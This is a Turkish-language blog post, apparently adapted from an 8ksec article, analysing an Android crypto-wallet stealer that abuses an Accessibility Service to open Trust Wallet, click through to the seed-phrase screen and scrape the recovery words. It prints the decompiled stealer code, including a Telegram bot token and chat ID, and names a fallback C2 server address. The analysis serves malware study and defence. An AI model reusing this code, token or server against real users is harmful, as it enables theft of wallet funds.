Airdrop Mobil Zararlı Yazılım Analizi
Paket Adı : com.test.accessibility
Airdrop Mobil Zararlı Yazılım Analizi
Paket Adı : com.test.accessibility
MD5: 70b07a67b618a6352bf35a735645b156
SHA1: 61f4bf9b3d1dba0f023e95aaef50e2cdb6b1c6ae
SHA256: 6f8992b2f3f1c58410293cc0b598dc74c2b1d9c165ad98d9ff5e12884148745e
Bu yazımda airdrop adlı zararlı yazılımı inceleyeceğiz.
İncelemeye önce AndroidManifest.xml dosyasından başlayalım.

Zararlı yazılımın izin olarak internet kullanımını istediğini görüyoruz. Burada amacın cihazdan aldığı bilgileri dışarıda bir sunucuya aktarmak olduğunu anlıyoruz. Ya da dışardan cihaza zararlı kod çekmek için.
<activity
android:name="com.test.accessibility.SplashActivity"
android:screenOrientation="portrait"
android:configChanges="fontScale|colorMode|layoutDirection|density|smallestScreenSize|screenSize|uiMode|screenLayout|orientation|navigation|keyboardHidden|keyboard|touchscreen|locale|mnc|mcc">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity
android:name="com.test.accessibility.MainActivity"
android:screenOrientation="portrait"
android:configChanges="fontScale|colorMode|layoutDirection|density|smallestScreenSize|screenSize|uiMode|screenLayout|orientation|navigation|keyboardHidden|keyboard|touchscreen|locale|mnc|mcc"/>
İki tane activity’miz mevcut. Bunlardan biri SplashActivity Diğeri MainActivity.
SplashActivity: Uygulama açılış ekranıdır, sadece kısa bir süre bekler ve ana aktiviteyi (**MainActivity**) başlatır.
MainActivitiy: Ana aktivitedir.
<service
android:label="@string/app_name_service"
android:name="com.test.accessibility.MyAccessibilityService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService"/>
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/serviceconfig"/>
</service>
En önemli bileşen, **android.permission.BIND_ACCESSIBILITY_SERVICE izniyle tanımlanmış bir hizmettir: `MyAccessibilityService`**. Bu izin, zararlının ekrandaki olayları dinlemesinin ve etkileşimde bulunmasının temelini oluşturur.
Şimdi MainActivity’i inceleyelim.

Şöyle bir kod parçası var. Eğer O() fonksiyonu boolean olarak true değer dönerse U() fonksiyonu çalışacaktır.

O () fonksiyonu, zararlı yazılımın kritik bir görevi yerine getirmeden önce kendi Erişilebilirlik Hizmetinin etkinleştirilip etkinleştirilmediğini kontrol etmesini sağlıyor.
Erişilebilirlik hizmeti etkinleştirildikten sonra U() fonksiyonu çalışıyor.

U() fonksiyonu, zararlı yazılımın kendi Erişilebilirlik Hizmeti izninin başarıyla alındığını (O() fonksiyonu true döndürdükten sonra) varsayarak, saldırının ana hedefini başlatmak için kullanılır.
ComponentName name = new ComponentName("com.wallet.crypto.trustapp", "com.wallet.crypto.trustapp.ui.start.activity.StartActivity");
Bu satır, açıkça Trust Wallet uygulamasının paket adını (com.wallet.crypto.trustapp) ve bu uygulamanın ana başlatma etkinliğini (StartActivity) tanımlar.
ComponentName, Android'de belirli bir uygulama bileşenini (Activity, Service, Receiver) adlandırmak için kullanılır. Zararlı, doğrudan bu meşru uygulamayı hedeflemektedir.
Intent i = new Intent("android.intent.action.MAIN");
i.addCategory("android.intent.category.LAUNCHER");
Yeni bir Intent oluşturulur. ACTION_MAIN ve CATEGORY_LAUNCHER kombinasyonu, Intent'in bir uygulamanın ana giriş noktası olduğunu gösterir, yani tıpkı kullanıcının uygulamaya dokunması gibi başlatma amacını taklit eder.
i.setFlags(270532608);
i.setComponent(name);
i.setComponent(name);: Intent'in, az önce tanımlanan Trust Wallet'ın StartActivity'sini başlatmasını sağlar.
i.setFlags(270532608);: Buradaki sayısal değer, birden fazla Intent bayrağının birleşimidir. Bu bayraklar genellikle yeni bir görev (task) başlatmayı ve hedef uygulamanın kendi görevinde çalışmasını sağlamayı amaçlar.
Örneğin, bu değer genellikle FLAG_ACTIVITY_NEW_TASK (268435456) ve diğer görev yönetim bayraklarını içerir. Amaç, cüzdan uygulamasını mevcut uygulamanın arkasında değil, cihazın ön planında bağımsız bir şekilde açmaktır.
startActivity(i);
Bu komut ile, zararlı yazılım Trust Wallet uygulamasını doğrudan başlatır.
Şimdi zararlı yazılımın Trust Wallet uygulamasını hedefledikten sonra neler yapmak istediğine odaklanalım.
Yukarıda **MyAccessibilityService **‘ten bahsetmiştik. Bu hizmet, zararlı yazılımın ekrandaki olayları dinlemesinin ve etkileşimde bulunmasının temelini oluşturur. Şimdi ilgili sınıf kodunu inceleyelim.
public class MyAccessibilityService extends AccessibilityService {
/* renamed from: b, reason: collision with root package name */
public static boolean f3471b = false;
/* renamed from: c, reason: collision with root package name */
public static Integer f3472c = 0;
@Override // android.accessibilityservice.AccessibilityService
public void onAccessibilityEvent(AccessibilityEvent event) {
if (event.getPackageName().equals("com.wallet.crypto.trustapp")) {
AccessibilityNodeInfo nodeInfo = event.getSource();
if (nodeInfo != null) {
if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.start.activity.StartActivity")) {
for (AccessibilityNodeInfo accessibilityNodeInfo : nodeInfo.findAccessibilityNodeInfosByText("Settings")) {
if (accessibilityNodeInfo.isClickable()) {
accessibilityNodeInfo.performAction(16);
nodeInfo.refresh();
nodeInfo.refresh();
nodeInfo.refresh();
nodeInfo.findAccessibilityNodeInfosByText("Wallets").get(0).getParent().performAction(16);
return;
}
}
return;
}
if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.wallets.activity.WalletsActivity")) {
try {
nodeInfo.getChild(3).getChild(1).getChild(0).getChild(2).performAction(16);
return;
} catch (Exception e2) {
return;
}
}
if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.wallets.activity.WalletInfoActivity")) {
if (f3471b) {
nodeInfo.getChild(2).performAction(16);
return;
} else {
nodeInfo.getChild(4).performAction(16);
return;
}
}
if (!event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.wallets.activity.ExportPhraseActivity")) {
if (event.getClassName().toString().equals("androidx.appcompat.app.AlertDialog")) {
try {
nodeInfo.findAccessibilityNodeInfosByText("OK").get(0).performAction(16);
f3471b = false;
return;
} catch (Exception e3) {
return;
}
} else {
if (event.getClassName().toString().equals("com.wallet.crypto.trustapp.ui.addwallet.activity.AddWalletActivity")) {
performGlobalAction(2);
return;
}
return;
}
}
nodeInfo.getChild(0).getChild(3).performAction(16);
nodeInfo.getChild(0).getChild(4).performAction(16);
nodeInfo.refresh();
nodeInfo.refresh();
nodeInfo.refresh();
String values = "" + nodeInfo.getChild(0).getChild(3).getText().toString() + " ";
String values2 = ((((((((((values + nodeInfo.getChild(0).getChild(5).getText().toString() + " ") + nodeInfo.getChild(0).getChild(7).getText().toString() + " ") + nodeInfo.getChild(0).getChild(9).getText().toString() + " ") + nodeInfo.getChild(0).getChild(11).getText().toString() + " ") + nodeInfo.getChild(0).getChild(13).getText().toString() + " ") + nodeInfo.getChild(0).getChild(15).getText().toString() + " ") + nodeInfo.getChild(0).getChild(17).getText().toString() + " ") + nodeInfo.getChild(0).getChild(19).getText().toString() + " ") + nodeInfo.getChild(0).getChild(21).getText().toString() + " ") + nodeInfo.getChild(0).getChild(23).getText().toString() + " ") + nodeInfo.getChild(0).getChild(25).getText().toString();
f3471b = true;
a("2012379995:AAGPhRr3ntEfaB38Ul4PveGwNYLaRSiikLY", "-1001491052715", values2);
performGlobalAction(1);
return;
}
return;
}
if (!event.getPackageName().toString().equals("com.test.accessibility")) {
performGlobalAction(1);
}
}
Zararlı yazılımın ana saldırı mekanizması bu kod parçasındadır.
Bu kod, herhangi bir erişilebilirlik olayı (kullanıcının bir düğmeye tıklaması, metin alanına odaklanması vb.) gerçekleştiğinde çalışan **onAccessibilityEvent(AccessibilityEvent event)** metodudur.
if (event.getPackageName().equals("com.wallet.crypto.trustapp")) { ...
Kod, olayın Trust Wallet uygulaması (com.wallet.crypto.trustapp) içinden gelip gelmediğini kontrol eder. Eğer olay Trust Wallet'tan geliyorsa, saldırı senaryosu başlar. Aksi takdirde, kodun sonuna atlanır.
Zararlı yazılım, Trust Wallet içindeki farklı ekranları (Activity'leri) algılar ve her ekranda cüzdan kurtarma ifadesine ulaşmak için gerekli otomatik eylemleri gerçekleştirir.
Başlangıç Ekranı (StartActivity)

Yukarıdaki kod parçası zaten üstte sınıfın kodları ile birlikte verildi. Burada tekrar vermemin sebebi bu kod parçasının işlevine odaklanmaktır.
Ekrandaki “Settings” (Ayarlar) metnine sahip düğmeyi bulur ve tıklama eylemi (performAction(16)) gerçekleştirir.
Tazeleme (Refresh): nodeInfo.refresh() çağrılarını art arda üç kez yapar. Bu, genellikle bir sonraki eylemden önce arayüzün tamamen güncellenmesini sağlamak için kullanılan bir tekniktir.
Cüzdanlara Tıklama: Ekrandaki “Wallets” (Cüzdanlar) metnine sahip düğmeyi bulur (muhtemelen Ayarlar ekranında) ve ebeveyn düğmesi üzerinde tıklama eylemi gerçekleştirir.
Amaç: Ana ekrandan Cüzdan Yönetimi ekranına geçmek.
Cüzdanlar Ekranı (WalletsActivity)

Gizli Tıklama: nodeInfo.getChild(3).getChild(1).getChild(0).getChild(2).performAction(16);Bu, uygulamanın UI yapısına (genellikle karmaşık ve değişkendir) dayalı bir dizi dolaylı gezinme/tıklama eylemidir. Trust Wallet’ta belirli bir cüzdanın üzerine veya “i” simgesine tıklayarak cüzdan bilgisi ekranına geçmeyi amaçlar.
Cüzdan Bilgisi Ekranı (WalletInfoActivity)

Bu kod parçasında, f3471b adında bir global bayrak kullanılarak farklı child düğmelerine tıklanır (nodeInfo.getChild(2) veya nodeInfo.getChild(4)). Bu tıklamalar, genellikle "Show Secret Phrase" (Gizli İfadeyi Göster) düğmesini tetikler.
Kurtarma İfadesini Dışa Aktarma Ekranı (ExportPhraseActivity)

En Kritik Aşama: Veri Çekme ve Sızdırma.
Onay Tıklamaları: İki kez tıklama eylemi gerçekleştirir (performAction(16)). Bunlar, kullanıcının "Anladım, riskleri kabul ediyorum" tarzı onay kutularını veya düğmeleri otomatik olarak tıklamasıdır.
Veriyi Çekme: Art arda gelen nodeInfo.getChild(...) çağrıları ile, ekranda görünür olan 12 veya 24 kelimelik kurtarma ifadesini tek tek metin (getText().toString()) olarak çeker ve aralarına boşluk koyarak birleştirir (values ve values2 değişkenleri).
Veriyi Sızdırma (Exfiltration): Çekilen values2 değişkenini **a() fonksiyonuna gönderir. Bu fonksiyonun daha önceki analizde Telegram Bot API**'sini kullanarak veriyi saldırganın sunucusuna sızdırdığını görmüştük.
Geri Dönme: Veri sızdırıldıktan sonra, performGlobalAction(1) komutu ile cihazda Geri (Back) eylemini gerçekleştirir, böylece saldırı tamamlanır ve kullanıcı normal bir eylem gerçekleştirmiş gibi görünür.
Veri Sızdırma (Exfiltration) Fonksiyonlarının Analizi


Bu kod parçaları, mobil zararlı yazılımın çalınan veriyi sızdırma (Exfiltration) mekanizmasının ta kendisidir ve iki farklı iletişim kanalını ortaya koyar.
Bu iki kod bloğu, zararlı yazılımın çalınan kripto cüzdanı kurtarma ifadesini (seed phrase) saldırganlara nasıl gönderdiğini gösterir. Her iki blokta da, popüler Android ağ kütüphaneleri olan OkHttp ve Retrofit kullanılarak harici sunuculara veya hizmetlere HTTP istekleri gönderilir.
1. Ana Sızdırma Mekanizması: Telegram Bot API
İlk kod bloğu, başarılı sızdırmanın birincil yoludur.
Kod, Retrofit kütüphanesini kullanarak https://api.telegram.org/bot[token]/ adresine bağlanır ve kurtarma ifadesini anında saldırganın Telegram kanalına iletir.
2.İkincil Sızdırma Mekanizması: Yedek C2 Sunucusu
İkinci kod bloğu, bir hata durumunda (genellikle bir önceki gönderim başarısız olursa) tetiklenen bir hata işleyici (callback) içindedir ve yedek bir iletişim kanalı (Command and Control — C2 sunucusu) sağlar.
Telegram’a gönderim başarısız olduğunda (örneğin Telegram API’si değişirse veya bot engellenirse), çalınan veriyi doğrudan saldırganın kontrolündeki özel bir HTTP sunucusuna göndermek. Bu, yedek C2 mekanizmasıdır.
Bu yedek sunucunun IP adresi ve portu açıkça görülüyor: [**http://159.69.139.252:999/api/rest/](http://159.69.139.252:999/api/rest/.)**
Kod, ilk (Telegram) gönderim denemesi bir hata (Throwable t) ile sonuçlandığında tetiklenir.
Bu mekanizma, Telegram Bot API’sinden bağımsız olarak, çalınan veriyi (this.f3475c içinde tutulan mesaj) doğrudan saldırganın sunucusuna gönderir.
Mobil Kripto Cüzdanı Çalan Zararlı Yazılım Özeti
Bu Android zararlı yazılımı, kullanıcıyı kandırarak Erişilebilirlik İzni’ni (Accessibility Service) aldıktan sonra saldırıyı başlatır.
Hedefi Başlatma: İzni kullanan zararlı, Trust Wallet uygulamasını otomatik olarak başlatır.
Otomatik Tıklama: Uygulama içinde arka planda, cüzdan ayarlarına ve gizli kurtarma ifadesinin (seed phrase) göründüğü ekrana ulaşmak için otomatik tıklama senaryosunu devreye sokar.
Veri Çalma: Ekranda beliren kurtarma kelimelerini (seed phrase) Erişilebilirlik özellikleri ile yakalar.
Sızdırma (Exfiltration): Çalınan bu kritik veriyi öncelikle Telegram Bot API’si, başarısız olursa yedek bir C2 sunucusu aracılığıyla saldırganlara anında gönderir.
Kaynak: https://8ksec.io/mobile-malware-analysis-part-1-crypto-wallet-stealer/
메타데이터
- post_id
- ccbdf3fa1e9d
- slug
- airdrop-zararlı-yazılım-analizi-ccbdf3fa1e9d
- url
- https://medium.com/@emirec/airdrop-zararl%C4%B1-yaz%C4%B1l%C4%B1m-analizi-ccbdf3fa1e9d
- canonical_url
- https://medium.com/@emirec/airdrop-zararl%C4%B1-yaz%C4%B1l%C4%B1m-analizi-ccbdf3fa1e9d
- author_url
- https://medium.com/@emirec
- status
- ok
- fetched_at
- 2026-07-15 23:37:27